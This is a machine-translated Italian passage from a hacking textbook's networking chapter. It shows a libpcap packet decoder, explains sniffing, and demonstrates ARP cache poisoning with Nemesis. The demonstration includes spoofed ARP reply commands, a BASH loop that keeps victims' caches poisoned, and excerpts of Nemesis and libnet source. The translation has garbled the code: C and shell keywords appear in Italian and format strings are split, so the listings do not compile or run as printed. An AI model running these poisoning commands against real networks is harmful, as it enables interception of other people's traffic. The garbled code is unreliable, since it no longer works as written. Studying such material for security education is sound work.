int tcp_header_length, total_header_size, pkt_data_len;
u_char * pkt_data;

printf ("==== Ho un pacchetto di% d byte ==== \ n", cap_header-> len);

decode_ethernet (pacchetto);
decode_ip (pacchetto + ETHER_HDR_LEN);
tcp_header_length = decode_tcp (packet + ETHER_HDR_LEN + sizeof (struct ip_hdr));

total_header_size = ETHER_HDR_LEN + sizeof (struct ip_hdr) + tcp_header_length;


pkt_data = (u_char *) pacchetto + total_header_size; // pkt_data punta alla porzione di dati.
pkt_data_len = cap_header-> len - total_header_size;
if (pkt_data_len> 0) {
printf ("\ t \ t \ t% u byte di dati a pacchetto \ n", pkt_data_len);
dump (pkt_data, pkt_data_len);
} altro
printf ("\ t \ t \ tNessun pacchetto di dati \ n");
}

void pcap_fatal (const char * failed_in, const char * errbuf) {


printf ("Errore irreversibile in% s:% s \ n", failed_in, errbuf);
uscita (1);
}

236 0x400

Pagina 251

La funzione catch_packet () viene chiamata ogni volta che pcap_loop () cattura un file
pacchetto. Questa funzione utilizza le lunghezze dell'intestazione per suddividere il pacchetto in strati
e le funzioni di decodifica per stampare i dettagli dell'intestazione di ogni strato.

void decode_ethernet (const u_char * header_start) {


int i;
const struct ether_hdr * ethernet_header;

ethernet_header = (const struct ether_hdr *) header_start;


printf ("[[Layer 2 :: Ethernet Header]] \ n");
printf ("[Fonte:% 02x", ethernet_header-> ether_src_addr [0]);
per (i = 1; i <ETHER_ADDR_LEN; i ++)
printf (":% 02x", ethernet_header-> ether_src_addr [i]);

printf ("\ tDest:% 02x", ethernet_header-> ether_dest_addr [0]);


per (i = 1; i <ETHER_ADDR_LEN; i ++)
printf (":% 02x", ethernet_header-> ether_dest_addr [i]);
printf ("\ tTipo:% hu] \ n", ethernet_header-> ether_type);
}

void decode_ip (const u_char * header_start) {


const struct ip_hdr * ip_header;

ip_header = (const struct ip_hdr *) header_start;


printf ("\ t ((Layer 3 ::: Intestazione IP)) \ n");
printf ("\ t (Fonte:% s \ t", inet_ntoa (ip_header-> ip_src_addr));
printf ("Dest:% s) \ n", inet_ntoa (ip_header-> ip_dest_addr));
printf ("\ t (Tipo:% u \ t", (u_int) ip_header-> ip_type);
printf ("ID:% hu \ tLength:% hu) \ n", ntohs (ip_header-> ip_id), ntohs (ip_header-> ip_len));
}

u_int decode_tcp (const u_char * header_start) {


u_int header_size;
const struct tcp_hdr * tcp_header;

tcp_header = (const struct tcp_hdr *) header_start;


header_size = 4 * tcp_header-> tcp_offset;

printf ("\ t \ t {{Layer 4 :::: Intestazione TCP}} \ n");


printf ("\ t \ t {Porta Src:% hu \ t", ntohs (tcp_header-> tcp_src_port));
printf ("Dest Port:% hu} \ n", ntohs (tcp_header-> tcp_dest_port));
printf ("\ t \ t {Seq #:% u \ t", ntohl (tcp_header-> tcp_seq));
printf ("Riconoscere #:% u} \ n", ntohl (tcp_header-> tcp_ack));
printf ("\ t \ t {Dimensione intestazione:% u \ tFlags:", dimensione_intestazione);
if (tcp_header-> tcp_flags & TCP_FIN)
printf ("FIN");
if (tcp_header-> tcp_flags & TCP_SYN)
printf ("SYN");
if (tcp_header-> tcp_flags & TCP_RST)
printf ("RST");
if (tcp_header-> tcp_flags & TCP_PUSH)
printf ("PUSH");
if (tcp_header-> tcp_flags & TCP_ACK)
printf ("ACK");

Networking 237

Pagina 252

if (tcp_header-> tcp_flags & TCP_URG)


printf ("URG");
printf ("} \ n");

return header_size;
}

Alle funzioni di decodifica viene passato un puntatore all'inizio dell'intestazione,


che è tipizzato nella struttura appropriata. Ciò consente di accedere a vari file
campi dell'intestazione, ma è importante ricordare che questi valori saranno in
ordine dei byte di rete. Questi dati provengono direttamente dal cavo, quindi l'ordine dei byte
deve essere convertito per essere utilizzato su un processore x 86.

reader @ hacking: ~ / booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap


lettore @ hacking: ~ / booksrc $ sudo ./decode_sniff
Sniffing sul dispositivo eth0
==== Ho un pacchetto da 75 byte ====
[[Layer 2 :: Ethernet Header]]
[Fonte: 00: 01: 29: 15: 65: b6 Dest: 00: 01: 6c: eb: 1d: 50 Tipo: 8]
((Livello 3 ::: Intestazione IP))
(Fonte: 192.168.42.1 Dest: 192.168.42.249)
(Tipo: 6 ID: 7755 Lunghezza: 61)
{{Layer 4 :::: TCP Header}}
{Porta Src: 35602 Porta dest: 7890}
{Seq #: 2887045274 Riconoscimento #: 3843058889}
{Dimensioni intestazione: 32 flag: PUSH ACK}
9 byte di dati a pacchetto
74 65 73 74 69 6e 67 0d 0a | test ..
==== Ho un pacchetto da 66 byte ====
[[Layer 2 :: Ethernet Header]]
[Fonte: 00: 01: 6c: eb: 1d: 50 Dest: 00: 01: 29: 15: 65: b6 Tipo: 8]
((Livello 3 ::: Intestazione IP))
(Fonte: 192.168.42.249 Dest: 192.168.42.1)
(Tipo: 6 ID: 15678 Lunghezza: 52)
{{Layer 4 :::: TCP Header}}
{Porta Src: 7890 Porta di destinazione: 35602}
{Seq #: 3843058889 Riconoscimento #: 2887045283}
{Dimensioni intestazione: 32 flag: ACK}
Nessun dato a pacchetto
==== Ho un pacchetto da 82 byte ====
[[Layer 2 :: Ethernet Header]]
[Fonte: 00: 01: 29: 15: 65: b6 Dest: 00: 01: 6c: eb: 1d: 50 Tipo: 8]
((Livello 3 ::: Intestazione IP))
(Fonte: 192.168.42.1 Dest: 192.168.42.249)
(Tipo: 6 ID: 7756 Lunghezza: 68)
{{Layer 4 :::: TCP Header}}
{Porta Src: 35602 Porta dest: 7890}
{Seq #: 2887045283 Riconoscimento #: 3843058889}
{Dimensioni intestazione: 32 flag: PUSH ACK}
16 byte di dati a pacchetto
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | questo è un test..
lettore @ hacking: ~ / booksrc $

238 0x400

Pagina 253

Con le intestazioni decodificate e separate in livelli, il collegamento TCP / IP


è molto più facile da capire. Notare a quali indirizzi IP sono associati
quale indirizzo MAC. Inoltre, nota come il numero di sequenza nei due pacchetti
da 192.168.42.1 (il primo e l'ultimo pacchetto) aumenta di nove, dal primo
il pacchetto conteneva nove byte di dati effettivi: 2887045283 - 2887045274 = 9.
Viene utilizzato dal protocollo TCP per assicurarsi che tutti i dati arrivino in ordine,
poiché i pacchetti potrebbero subire ritardi per vari motivi.
Nonostante tutti i meccanismi incorporati nelle intestazioni dei pacchetti, i pacchetti
sono ancora visibili a chiunque sullo stesso segmento di rete. Protocolli come
FTP, POP3 e telnet trasmettono dati senza crittografia. Anche senza il
assistenza di uno strumento come dsniff, è abbastanza banale per un utente malintenzionato che annusa il file
rete per trovare i nomi utente e le password in questi pacchetti e utilizzarli
compromettere altri sistemi. Dal punto di vista della sicurezza, questo non è troppo buono,
quindi switch più intelligenti forniscono ambienti di rete commutati.

0x444 Sniffing attivo


In un ambiente di rete commutata , i pacchetti vengono inviati solo alla porta in cui si trovano
destinati a, in base agli indirizzi MAC di destinazione. Questo richiede
hardware più intelligente in grado di creare e mantenere una tabella di associazione
Indirizzi MAC con determinate porte, a seconda del dispositivo connesso
a ciascuna porta, come illustrato qui.
Il vantaggio di un ambiente commutato è che i dispositivi vengono solo inviati
pacchetti che sono destinati a loro, quindi i dispositivi promiscui non sono in grado di farlo
annusare eventuali pacchetti aggiuntivi. Ma anche in un ambiente cambiato, ci sono
modi intelligenti per annusare i pacchetti di altri dispositivi; tendono ad essere solo un po 'di più
complesso. Per trovare hack come questi, i dettagli dei protocolli devono
essere esaminati e quindi combinati.
Un aspetto importante delle comunicazioni di rete che può essere manipolato
utilizzato per effetti interessanti è l'indirizzo di origine. Non ci sono disposizioni in
questi protocolli per garantire che l'indirizzo di origine in un pacchetto sia realmente il
indirizzo della macchina sorgente. L'atto di falsificare un indirizzo sorgente in un pacchetto
è noto come spoofing . L'aggiunta di spoofing alla tua borsa di trucchi notevolmente
aumenta il numero di possibili attacchi, poiché la maggior parte dei sistemi si aspetta la fonte
indirizzo valido.

Porta 1 00: 00: 00: AA: AA: AA


Porta 2 00: 00: 00: BB: BB: BB
Porta 3 00: 00: 00: CC: CC: CC

Interruttore

1 2 3

00: 00: 00: AA: AA: AA 00: 00: 00: BB: BB: BB 00: 00: 00: CC: CC: CC

Networking 239

Pagina 254

Lo spoofing è il primo passo per lo sniffing dei pacchetti su una rete commutata. Il
altri due dettagli interessanti si trovano in ARP. Primo, quando arriva una risposta ARP
con un indirizzo IP già esistente nella cache ARP, il sistema ricevente
sovrascriverà le informazioni sull'indirizzo MAC precedente con le nuove informazioni
trovato nella risposta (a meno che quella voce nella cache ARP non sia stata esplicitamente contrassegnata
come permanente). In secondo luogo, non vengono conservate informazioni di stato sul traffico ARP,
poiché ciò richiederebbe memoria aggiuntiva e complicherebbe un protocollo
che dovrebbe essere semplice. Ciò significa che i sistemi accetteranno anche una risposta ARP
se non hanno inviato una richiesta ARP.
Questi tre dettagli, se sfruttati correttamente, consentono a un aggressore di annusare
traffico di rete su una rete commutata utilizzando una tecnica nota come ARP
reindirizzamento . L'autore dell'attacco invia risposte ARP contraffatte a determinati dispositivi che causano
le voci della cache ARP da sovrascrivere con i dati dell'aggressore. Questa tecnologia
nique è chiamato avvelenamento della cache ARP . Al fine di fiutare il traffico di rete tra
due punti, A e B , l'attaccante ha bisogno di avvelenare la cache ARP di A a
indurre A a credere che l' indirizzo IP di B sia all'indirizzo MAC dell'aggressore e
anche avvelenare la cache ARP di B a causa B a credere che A s’indirizzo IP è anche
all'indirizzo MAC dell'aggressore. Quindi la macchina dell'attaccante deve semplicemente farlo
inoltrare questi pacchetti alle destinazioni finali appropriate. Dopodiché, tutto
del traffico tra A e B viene comunque consegnato, ma tutto scorre attraverso
macchina dell'aggressore, come mostrato qui.

Sistema A Sistema B
IP: 192.168.0.100 IP: 192.168.0.200
MAC: 00: 00: 00: AA: AA: AA MAC: 00: 00: 00: BB: BB: BB

Cache ARP interna Cache ARP interna


192.168.0.200 su 00: 00: 00: FA: CA: DE 192.168.0.100 su 00: 00: 00: FA: CA: DE

Sistema di attacco
IP: 192.168.0.137
MAC: 00: 00: 00: FA: CA: DE

Cache ARP interna


Traffico per A
192.168.0.100 su 00: 00: 00: AA: AA: AA Traffico per B
192.168.0.22 su 00: 00: 00: BB: BB: BB

Poiché A e B stanno avvolgendo le proprie intestazioni Ethernet sui propri pacchetti


sulla base delle rispettive cache ARP, un traffico IP ‘s significato per B è in realtà inviato
all'indirizzo MAC dell'aggressore e viceversa. Lo switch filtra solo il traffico
base agli indirizzi MAC, quindi l'interruttore funziona come è stato progettato per, l'invio di A ‘s
e il traffico IP di B , destinato all'indirizzo MAC dell'aggressore, a quello dell'aggressore
porta. Quindi l'aggressore riavvolge i pacchetti IP con l'Ethernet appropriato
intestazioni e li rimanda allo switch, dove vengono infine indirizzati
la loro giusta destinazione. L'interruttore funziona correttamente; sono le macchine della vittima
che sono indotti a reindirizzare il loro traffico attraverso la macchina dell'aggressore.

240 0x400

Pagina 255

A causa dei valori di timeout, le macchine della vittima invieranno periodicamente real
Richieste ARP e in risposta ricevono risposte ARP reali. Al fine di mantenere
l'attacco di reindirizzamento, l'attaccante deve mantenere le cache ARP della macchina vittima
avvelenato. Un modo semplice per farlo è inviare risposte ARP contraffatte a
sia A che B a un intervallo costante, ad esempio ogni 10 secondi.
Un gateway è un sistema che instrada tutto il traffico da una rete locale a
la rete. Il reindirizzamento ARP è particolarmente interessante quando uno della vittima
macchine è il gateway predefinito, poiché il traffico tra il gateway predefinito
e un altro sistema è il traffico Internet di quel sistema. Ad esempio, se una macchina
in 192.168.0.118 sta comunicando con il gateway in 192.168.0.1 tramite un file
switch, il traffico sarà limitato dall'indirizzo MAC. Ciò significa che questo
il traffico normalmente non può essere fiutato, anche in modalità promiscua. In modo da
annusa questo traffico, deve essere reindirizzato.
Per reindirizzare il traffico, prima gli indirizzi MAC di 192.168.0.118 e
192.168.0.1 deve essere determinato. Questo può essere fatto eseguendo il ping di questi host,
poiché qualsiasi tentativo di connessione IP utilizzerà ARP. Se esegui uno sniffer, puoi
vedere le comunicazioni ARP, ma il sistema operativo memorizzerà nella cache l'IP / MAC risultante
associazioni di indirizzi.

lettore @ hacking: ~ / booksrc $ ping -c 1 -w 1 192.168.0.1


PING 192.168.0.1 (192.168.0.1): 56 ottetti dati
64 ottetti da 192.168.0.1: icmp_seq = 0 ttl = 64 time = 0.4 ms
--- 192.168.0.1 statistiche ping ---
1 pacchetto trasmesso, 1 pacchetto ricevuto, 0% di perdita di pacchetti
round trip min / avg / max = 0,4 / 0,4 / 0,4 ms
lettore @ hacking: ~ / booksrc $ ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 ottetti dati
64 ottetti da 192.168.0.118: icmp_seq = 0 ttl = 128 tempo = 0,4 ms
--- 192.168.0.118 statistiche ping ---
1 pacchetto trasmesso, 1 pacchetto ricevuto, 0% di perdita di pacchetti
round trip min / avg / max = 0,4 / 0,4 / 0,4 ms
lettore @ hacking: ~ / booksrc $ arp -na
? (192.168.0.1) su 00: 50: 18: 00: 0F: 01 [etere] su eth0
? (192.168.0.118) su 00: C0: F0: 79: 3D: 30 [etere] su eth0
lettore @ hacking: ~ / booksrc $ ifconfig eth0
eth0 Link encap: Ethernet HWaddr 00: 00: AD: D1: C7: ED
inet addr: 192.168.0.193 Bcast: 192.168.0.255 Mask: 255.255.255.0
UP BROADCAST NOTRAILER IN CORSO MTU: 1500 Sistema metrico: 1
Pacchetti RX: 4153 errori: 0 eliminati: 0 overruns: 0 frame: 0
Pacchetti TX: 3875 errori: 0 eliminati: 0 overruns: 0 carrier: 0
collisioni: 0 txqueuelen: 100
Byte RX: 601686 (587,5 Kb) Byte TX: 288567 (281,8 Kb)
Interrupt: 9 Indirizzo di base: 0xc000
lettore @ hacking: ~ / booksrc $

Dopo il ping, gli indirizzi MAC per 192.168.0.118 e 192.168.0.1


si trovano nella cache ARP dell'attaccante. In questo modo, i pacchetti possono raggiungere la loro finale
destinazioni dopo essere stati reindirizzati alla macchina dell'aggressore. Supponendo IP
le capacità di inoltro sono compilate nel kernel, tutto ciò che dobbiamo fare è
inviare alcune risposte ARP contraffatte a intervalli regolari. 192.168.0.118 deve
essere informato che 192.168.0.1 è a 00: 00: AD: D1: C7: ED e 192.168.0.1 deve essere

Networking 241

Pagina 256

ha detto che 192.168.0.118 è anche a 00: 00: AD: D1: C7: ED . Questi pacchetti ARP falsificati
può essere iniettato utilizzando uno strumento di iniezione di pacchetti da riga di comando chiamato Nemesis.
Nemesis era originariamente una suite di strumenti scritti da Mark Grimes, ma in
versione più recente 1.4, tutte le funzionalità sono state raggruppate in un unico file
utility dal nuovo manutentore e sviluppatore, Jeff Nathan. Il codice sorgente
per Nemesis è sul LiveCD in /usr/src/nemesis-1.4/, e ha già
stato costruito e installato.

lettore @ hacking: ~ / booksrc $ nemesis

NEMESIS - = - Il progetto NEMESIS versione 1.4 (Build 26)

Utilizzo di NEMESIS:
nemesi [modalità] [opzioni]

Modalità NEMESIS:
arp
dns
ethernet
icmp
igmp
ip
ospf (attualmente non funzionante)
strappare
tcp
udp

Opzioni NEMESIS:
Per visualizzare le opzioni, specificare una modalità con l'opzione "aiuto".

reader @ hacking: ~ / booksrc $ nemesis arp help

Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)

Utilizzo ARP / RARP:


arp [-v (verbose)] [opzioni]

Opzioni ARP / RARP:


-S <indirizzo IP di origine>
-D <indirizzo IP di destinazione>
-h <Indirizzo MAC del mittente nel frame ARP>
-m <Indirizzo MAC di destinazione nel frame ARP>
-s <Richieste ARP in stile Solaris con addess hardware di destinazione impostato su broadcast>
-r ({ARP, RARP} REPLY abilitato)
-R (abilitazione RARP)
-P <File di carico utile>

Opzioni di collegamento dati:


-d <nome dispositivo Ethernet>
-H <indirizzo MAC di origine>
-M <indirizzo MAC di destinazione>

È necessario definire un indirizzo IP di origine e uno di destinazione.

242 0x400

Pagina 257
reader @ hacking: ~ / booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D
192.168.0.118 -h 00: 00: AD: D1: C7: ED -m 00: C0: F0: 79: 3D: 30 -H 00: 00: AD: D1: C7: ED -
M 00: C0: F0: 79: 3D: 30

Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)

[MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Tipo Ethernet] ARP (0x0806)

[Indirizzo protocollo: IP] 192.168.0.1> 192.168.0.118


[Indirizzo hardware: MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Codice operativo ARP] Rispondi
[Fmt hardware ARP] Ethernet (1)
[Formato proto ARP] IP (0x0800)
[Protocollo ARP len] 6
[Len hardware ARP] 4

Ha scritto un pacchetto di richiesta ARP unicast da 42 byte tramite linktype DLT_EN10MB

Pacchetto ARP iniettato


reader @ hacking: ~ / booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D
192.168.0.1 -h 00: 00: AD: D1: C7: ED -m 00: 50: 18: 00: 0F: 01 -H 00: 00: AD: D1: C7: ED -M
00: 50: 18: 00: 0F: 01

Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)

[MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Tipo Ethernet] ARP (0x0806)

[Indirizzo protocollo: IP] 192.168.0.118> 192.168.0.1


[Indirizzo hardware: MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Codice operativo ARP] Rispondi
[Fmt hardware ARP] Ethernet (1)
[Formato proto ARP] IP (0x0800)
[Protocollo ARP len] 6
[Len hardware ARP] 4

Ha scritto un pacchetto di richiesta ARP unicast da 42 byte tramite linktype DLT_EN10MB.

Pacchetto ARP iniettato


lettore @ hacking: ~ / booksrc $

Questi due comandi falsificano le risposte ARP da 192.168.0.1 a 192.168.0.118


e viceversa, entrambi affermano che il loro indirizzo MAC è sul MAC dell'attaccante
indirizzo di 00: 00: AD: D1: C7: ED . Se questi comandi vengono ripetuti ogni 10 secondi,
queste false risposte ARP continueranno a tenere avvelenate le cache ARP e
il traffico reindirizzato. La shell BASH standard consente ai comandi di essere
script, utilizzando istruzioni familiari del flusso di controllo. Una semplice shell BASH while
loop viene utilizzato di seguito per eseguire un ciclo per sempre, inviando le nostre due risposte ARP avvelenate
ogni 10 secondi.

reader @ hacking: ~ / booksrc $ mentre è vero


> fare

Networking 243

Pagina 258

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h


00: 00: AD: D1: C7: ED -m 00: C0: F0: 79: 3D: 30 -H 00: 00: AD: D1: C7: ED -M
00: C0: F0: 79: 3D: 30
> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h
00: 00: AD: D1: C7: ED -m 00: 50: 18: 00: 0F: 01 -H 00: 00: AD: D1: C7: ED -M
00: 50: 18: 00: 0F: 01
> echo "Reindirizzamento ..."
> dormire 10
> fatto

Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)

[MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Tipo Ethernet] ARP (0x0806)

[Indirizzo protocollo: IP] 192.168.0.1> 192.168.0.118


[Indirizzo hardware: MAC] 00: 00: AD: D1: C7: ED> 00: C0: F0: 79: 3D: 30
[Codice operativo ARP] Rispondi
[Fmt hardware ARP] Ethernet (1)
[Formato proto ARP] IP (0x0800)
[Protocollo ARP len] 6
[Len hardware ARP] 4
Ha scritto un pacchetto di richiesta ARP unicast da 42 byte tramite linktype DLT_EN10MB.

Pacchetto ARP iniettato

Iniezione di pacchetti ARP / RARP - = - Il progetto NEMESIS versione 1.4 (Build 26)

[MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Tipo Ethernet] ARP (0x0806)

[Indirizzo protocollo: IP] 192.168.0.118> 192.168.0.1


[Indirizzo hardware: MAC] 00: 00: AD: D1: C7: ED> 00: 50: 18: 00: 0F: 01
[Codice operativo ARP] Rispondi
[Fmt hardware ARP] Ethernet (1)
[Formato proto ARP] IP (0x0800)
[Protocollo ARP len] 6
[Len hardware ARP] 4
Ha scritto un pacchetto di richiesta ARP unicast da 42 byte tramite linktype DLT_EN10MB.
Pacchetto ARP iniettato
Reindirizzamento ...

Puoi vedere come qualcosa di semplice come Nemesis e lo standard BASH


shell può essere utilizzata per hackerare rapidamente insieme un exploit di rete. Nemesis utilizza un file
Libreria C chiamata libnet per creare pacchetti falsificati e iniettarli. Simile a
libpcap, questa libreria utilizza socket non elaborati e uniforma le incongruenze tra
piattaforme con un'interfaccia standardizzata. libnet fornisce anche diversi utili
funzioni per gestire i pacchetti di rete, come la generazione di checksum.
La libreria libnet fornisce un'API semplice e uniforme da creare e iniettare
pacchetti di rete. È ben documentato e le funzioni sono descrittive
nomi. Uno sguardo ad alto livello al codice sorgente di Nemesis mostra quanto sia facile
è creare pacchetti ARP usando libnet. Il file sorgente nemesis-arp.c contiene
diverse funzioni per creare e iniettare pacchetti ARP, utilizzando definiti staticamente

244 0x400

Pagina 259

strutture dati per le informazioni di intestazione del pacchetto. La funzione nemesis_arp ()


mostrato di seguito è chiamato in nemesis.c per creare e iniettare un pacchetto ARP.

Da nemesis-arp.c

ETHERhdr statico etherhdr;


statico ARPhdr arphdr;

...

void nemesis_arp (int argc, char ** argv)


{
const char * module = "ARP / RARP Packet Injection";

nemesis_maketitle (titolo, modulo, versione);

if (argc> 1 &&! strncmp (argv [1], "help", 4))


arp_usage (argv [0]);

arp_initdata ();
arp_cmdline (argc, argv);
arp_validatedata ();
arp_verbose ();

if (got_payload)
{
if (builddatafromfile (ARPBUFFSIZE, & pd, (const char *) file,
(const u_int32_t) PAYLOADMODE) <0)
arp_exit (1);
}

if (buildarp (& etherhdr, & arphdr, & pd, dispositivo, risposta) <0)
{
printf ("\ n% s Injection Failure \ n", (rarp == 0? "ARP": "RARP"));
arp_exit (1);
}
altro
{
printf ("\ n% s Packet Injected \ n", (rarp == 0? "ARP": "RARP"));
arp_exit (0);
}
}

Le strutture ETHERhdr e ARPhdr sono definite nel file nemesis.h (mostrato


sotto) come alias per le strutture dati libnet esistenti. In C, typedef viene utilizzato per alias
un tipo di dati con un simbolo.

Da nemesis.h

typedef struct libnet_arp_hdr ARPhdr;


typedef struct libnet_as_lsa_hdr ASLSAhdr;
typedef struct libnet_auth_hdr AUTHhdr;
typedef struct libnet_dbd_hdr DBDhdr;

Networking 245

Pagina 260

typedef struct libnet_dns_hdr DNShdr;


typedef struct libnet_ethernet_hdr ETHERhdr;
typedef struct libnet_icmp_hdr ICMPhdr;
typedef struct libnet_igmp_hdr IGMPhdr;
typedef struct libnet_ip_hdr IPhdr;

La funzione nemesis_arp () chiama una serie di altre funzioni da questo file:


arp_initdata () , arp_cmdline () , arp_validatedata ()
e arp_verbose () . Puoi
probabilmente suppongo che queste funzioni inizializzino i dati, elaborino l'argomento della riga di comando
menti, convalidare i dati e fare una sorta di report dettagliato. Il arp_initdata ()
la funzione fa esattamente questo, inizializzando i valori nei dati dichiarati staticamente
strutture.
La funzione arp_initdata () , mostrata di seguito, imposta vari elementi del file
strutture di intestazione ai valori appropriati per un pacchetto ARP.

Da nemesis-arp.c

static void arp_initdata (void)


{
/ * valori predefiniti * /
etherhdr.ether_type = ETHERTYPE_ARP; / * Tipo Ethernet ARP * /
memset (etherhdr.ether_shost, 0, 6); / * Indirizzo sorgente Ethernet * /
memset (etherhdr.ether_dhost, 0xff, 6); / * Indirizzo di destinazione Ethernet * /
arphdr.ar_op = ARPOP_REQUEST; / * Codice operativo ARP: richiesta * /
arphdr.ar_hrd = ARPHRD_ETHER; / * formato hardware: Ethernet * /
arphdr.ar_pro = ETHERTYPE_IP; / * formato protocollo: IP * /
arphdr.ar_hln = 6; / * Indirizzi hardware a 6 byte * /
arphdr.ar_pln = 4; / * Indirizzi di protocollo a 4 byte * /
memset (arphdr.ar_sha, 0, 6); / * Indirizzo mittente frame ARP * /
memset (arphdr.ar_spa, 0, 4); / * Indirizzo IP del mittente ARP * /
memset (arphdr.ar_tha, 0, 6); / * Indirizzo di destinazione del frame ARP * /
memset (arphdr.ar_tpa, 0, 4); / * Indirizzo IP del protocollo di destinazione ARP * /
pd.file_mem = NULL;
pd.file_s = 0;
ritorno;
}

Infine, il nemesis_arp () funzione chiama la funzione buildarp () con


puntatori alle strutture dati di intestazione. A giudicare dal modo in cui il valore di ritorno
from buildarp () viene gestito qui, buildarp () crea il pacchetto e lo inietta.
Questa funzione si trova in un altro file sorgente, nemesis-proto_arp.c.

Da nemesis-proto_arp.c

int buildarp (ETHERhdr * eth, ARPhdr * arp, FileData * pd, char * dispositivo,
int risposta)
{
int n = 0;
u_int32_t arp_packetlen;
static u_int8_t * pkt;
struct libnet_link_int * l2 = NULL;

/ * test di convalida * /

246 0x400

Pagina 261

if (pd-> file_mem == NULL)


pd-> file_s = 0;

arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd-> file_s;

#ifdef DEBUG
printf ("DEBUG: lunghezza pacchetto ARP% u. \ n", arp_packetlen);
printf ("DEBUG: dimensione payload ARP% u. \ n", pd-> file_s);
#finisci se

if ((l2 = libnet_open_link_interface (device, errbuf) ) == NULL)


{
nemesis_device_failure (INJECTION_LINK, (const char *) device);
return -1;
}

if (libnet_init_packet (arp_packetlen, & pkt) == -1)


{
fprintf (stderr, "ERRORE: impossibile allocare la memoria dei pacchetti. \ n");
return -1;
}

libnet_build_ethernet (eth-> ether_dhost, eth-> ether_shost, eth-> ether_type,


NULL, 0, pkt);

libnet_build_arp (arp-> ar_hrd, arp-> ar_pro, arp-> ar_hln, arp-> ar_pln,


arp-> ar_op, arp-> ar_sha, arp-> ar_spa, arp-> ar_tha, arp-> ar_tpa,
pd-> file_mem, pd-> file_s, pkt + LIBNET_ETH_H);

n = libnet_write_link_layer (l2, dispositivo, pacchetto, LIBNET_ETH_H +


LIBNET_ARP_H + pd-> file_s);

if (verbose == 2)
nemesis_hexdump (pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump (pkt, arp_packetlen, HEX_RAW_DECODE);

if (n! = arp_packetlen)
{
fprintf (stderr, "ERRORE: iniezione di pacchetti incompleta. Solo"
"ha scritto% d byte. \ n", n);
}
altro
{
if (verboso)
{
if (memcmp (eth-> ether_dhost, (void *) & one, 6))
{
printf ("Ha scritto un pacchetto di richiesta ARP unicast di% d byte tramite"
"tipo di collegamento% s. \ n", n,
nemesis_lookup_linktype (l2-> linktype));
}
altro
{
printf ("Ha scritto% d byte% s pacchetto tramite linktype% s. \ n", n,

Networking 247

Pagina 262

(eth-> ether_type == ETHERTYPE_ARP? "ARP": "RARP"),


nemesis_lookup_linktype (l2-> linktype));
}
}
}

libnet_destroy_packet (& pkt);


se (l2! = NULL)
libnet_close_link_interface (l2);
ritorno (n);
}

Ad un livello elevato, questa funzione dovrebbe essere leggibile. Utilizzando libnet


funzioni, apre un'interfaccia di collegamento e inizializza la memoria per un pacchetto. Poi,
costruisce il livello Ethernet utilizzando elementi dai dati dell'intestazione Ethernet
struttura e poi fa lo stesso per il livello ARP. Successivamente, scrive il pacchetto
al dispositivo per iniettarlo e infine pulisce distruggendo il pacchetto e
chiudendo l'interfaccia. La documentazione per queste funzioni da libnet
la pagina man è mostrata di seguito per chiarezza.

Dalla pagina man libnet

libnet_open_link_interface () apre un'interfaccia per pacchetti di basso livello. Questo è


richiesto per scrivere i frame del livello di collegamento. Viene fornito un puntatore u_char al file
nome del dispositivo di interfaccia e un puntatore u_char a un buffer degli errori. Restituito è un
compilato in libnet_link_int struct o NULL in caso di errore.

libnet_init_packet () inizializza un pacchetto per l'uso. Se il parametro size è


omesso (o negativo) la libreria sceglierà un valore ragionevole per l'utente
(attualmente LIBNET_MAX_PACKET). Se l'allocazione della memoria ha esito positivo, il
la memoria viene azzerata e la funzione restituisce 1. In caso di errore, il file
la funzione restituisce -1. Poiché questa funzione chiama malloc, dovresti certamente,
a un certo punto, fai una chiamata corrispondente a destroy_packet ().

libnet_build_ethernet () costruisce un pacchetto ethernet. Fornito è il


indirizzo di destinazione, indirizzo di origine (come array di byte di caratteri non firmati)
e il tipo di frame ethernet, un puntatore a un payload di dati opzionale, il file
lunghezza del payload e un puntatore a un blocco di memoria preallocato per
pacchetto. Il tipo di pacchetto ethernet dovrebbe essere uno dei seguenti:

Valore genere
Protocollo ETHERTYPE_PUP PUP
ETHERTYPE_IP Protocollo IP
ETHERTYPE_ARP protocollo ARP
ETHERTYPE_REVARP Protocollo ARP inverso
ETHERTYPE_VLAN IEEE VLAN tagging
ETHERTYPE_LOOPBACK Utilizzato per testare le interfacce

libnet_build_arp () costruisce un pacchetto ARP (Address Resolution Protocol).


Vengono forniti i seguenti: tipo di indirizzo hardware, tipo di indirizzo di protocollo, il
lunghezza dell'indirizzo hardware, lunghezza dell'indirizzo del protocollo, tipo di pacchetto ARP, estensione
indirizzo hardware del mittente, indirizzo del protocollo del mittente, hardware di destinazione
indirizzo, l'indirizzo del protocollo di destinazione, il payload del pacchetto, la dimensione del payload,
e infine, un puntatore alla memoria dell'intestazione del pacchetto. Nota che questa funzione

248 0x400

Pagina 263

crea solo pacchetti ARP ethernet / IP, e di conseguenza il primo valore dovrebbe
essere ARPHRD_ETHER. Il tipo di pacchetto ARP dovrebbe essere uno dei seguenti:
ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY,
ARPOP_INVREQUEST o ARPOP_INVREPLY.

libnet_destroy_packet () libera la memoria associata al pacchetto.

